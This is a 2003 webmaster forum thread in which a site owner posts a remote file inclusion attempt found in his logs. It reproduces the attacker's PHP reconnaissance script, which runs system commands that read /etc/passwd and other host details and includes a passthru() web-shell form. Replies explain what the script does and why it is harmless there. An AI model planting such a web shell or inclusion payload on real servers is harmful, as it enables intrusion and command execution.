Strange people with strange code...
As some of you might know, I started a totally useless thread a while a ago about me making a log file capturing data...
Anyway, one of the things I captured was the referer and page they are trying to get to.
The thing works perfectly fine. Thank you. However, I just recently captured this:
"/index.php?page=http://www.gay.alb.de/.i/2"
as the page referer.
When I visited the URL it spat out this:
<?php
echo(system(\"uname -a\").\"<Br>\");
echo(system(\"cat /etc/passwd|grep nobody\").\"<Br>\");
echo(system(\"cat /etc/issue\").\"<Br>\");
echo(system(\"hostname\").\"<Br>\");
echo(system(\"ls -la /usr/sbin/sendmail\").\"<Br>\");
echo(system(\"ls -la /sbin/linuxconf\").\"<Br>\");
echo(system(\"ls -la /usr/X11R6/bin/xlock\").\"<Br>\");
<Form method=POST action=\"echo($_SERVER[\"REQUEST_URI\"])\">
<input type=\"text\" name=lox>
<input type=submit>
</form>
<h5>
<pre>
$lox=passthru($lox);
echo($lox);
?>
Anyone have any idea/suggestions on what this particular piece of code does? Its got me confused and a bit scared (because of the "passwd" part).
m3rajk posted this at 20:09 — 2nd October 2003.
They have: 461 posts
Joined: Jul 2003
from man pages (this is just waht came up initally for each, ask if you want me to bother getting more... if there's system customization, i'm on RH9)
cat just prints to an output. none seleted is the terminal.
cat /etc/passwd|grep nobody
that grabs every line from etc/passwd (where your PASSWORDS are stored) that is for the user nobody (standard user for running things like WEB SERVERS
which is the long listing for those things with ls -la
if a dir then they know everything about the dir, otherwise the file, that shows up in a ls -la
looks to me like the script is getting info to see if you're open to e-mail relaying... so they can use you as a proxy
POSIX. because a stable os that doesn't have memory leaks and isn't buggy is always good.
kb posted this at 00:01 — 3rd October 2003.
He has: 1,380 posts
Joined: Feb 2002
wow. that sucks.
Renegade posted this at 00:34 — 3rd October 2003.
He has: 3,022 posts
Joined: Oct 2002
Gah, some people...
Oh well, at least now I know I'm safe from this "threat"
Thanks
m3rajk posted this at 03:26 — 3rd October 2003.
They have: 461 posts
Joined: Jul 2003
no problem. glad i could be of some assiistance.
like i said, it LOOKS to me like they are looking to see if they can use you as an e-mail relay. it looks like tha tbecause i can't think of any other reason to want both the user info from passwd for nobody AND the the hostname AND the information they'd retrieve from sendmail. there could be other things, as well as numerous other things they can do witht he pw to nobody.
can you give tme the site's ip so i can block it in my firewall?
POSIX. because a stable os that doesn't have memory leaks and isn't buggy is always good.
Renegade posted this at 05:52 — 3rd October 2003.
He has: 3,022 posts
Joined: Oct 2002
IP: 80.250.164.242
Mark Hensler posted this at 07:32 — 3rd October 2003.
He has: 4,048 posts
Joined: Aug 2000
That code will do nothing to your system.
The code on their site was intended to run on their server,
and output the results. However, the page is not being sent
through the PHP interpreter (by Apache).
I do something similar on my site (link - see "Shell Simulation"), but mine actually works.
<?php
$prmpt = \"[host.maxalbert.com]$\";
$last_update = \"2003-08-05\";
// (LINES OMMITED)
// shell style modeled after SSH
echo \"<span style=\\"font-family: courier new, monospace; font-size: 12px;\\">\n\";
echo \"Shell Simulation:<br />\n\";
echo \"</span>\n\";
echo \"<table border=\\"0\\" cellspacing=\\"0\\" cellpadding=\\"0\\">\n\";
echo \"<tr><td class=\\"shell\\">\n\";
echo \"host.maxalbert.com Beta 0.2 (Build \". str_replace('-', '' ,$last_update) . \")<br />\n\";
echo \"Copyright (c) 2002-2003 Mark Hensler - <a href=\\"http://www.maxalbert.com/\\" class=\\"shell\\"><a href=\"http://www.maxalbert.com/\" class=\"bb-url\">http://www.maxalbert.com/</a></a>\n\";
echo \"<br />\n\";
echo \"This copy of host.maxalbert.com is a non-commercial version.<br />\n\";
echo \"This version does not include any functionality whatsoever.<br />\n\";
echo \"<br />\n\";
echo \"------------------------------------------------------------------------------<br />\n\";
echo nl2br(`/usr/games/fortune chalkboard homer`);
echo \"------------------------------------------------------------------------------<br />\n\";
echo \"<br />\n\";
echo \"$prmpt uptime<br />\n\";
echo nl2br(`uptime`);
echo \"$prmpt date<br />\n\";
echo nl2br(`date`);
echo \"$prmpt cat /proc/version<br />\n\";
echo nl2br(`cat /proc/version`);
echo \"$prmpt /usr/local/apache2/bin/apachectl -v<br />\n\";
echo nl2br(`/usr/local/apache2/bin/apachectl -v`);
echo \"$prmpt /usr/local/php/bin/php-config --version<br />\n\";
echo nl2br(`/usr/local/php/bin/php-config --version`);
echo \"$prmpt /usr/local/mysql/bin/mysql_config --version<br />\n\";
echo nl2br(`/usr/local/mysql/bin/mysql_config --version`);
echo \"$prmpt <span style=\\"background: #3333FF;\\"> </span><br />\n\";
echo \"</td><tr>\n\";
echo \"</table>\n\";
?>
Mark Hensler
If there is no answer on Google, then there is no question.
Renegade posted this at 11:16 — 3rd October 2003.
He has: 3,022 posts
Joined: Oct 2002
Oh cool Thanks Mark
Want to join the discussion? Create an account or log in if you already have one. Joining is fast, free and painless! We’ll even whisk you back here when you’ve finished.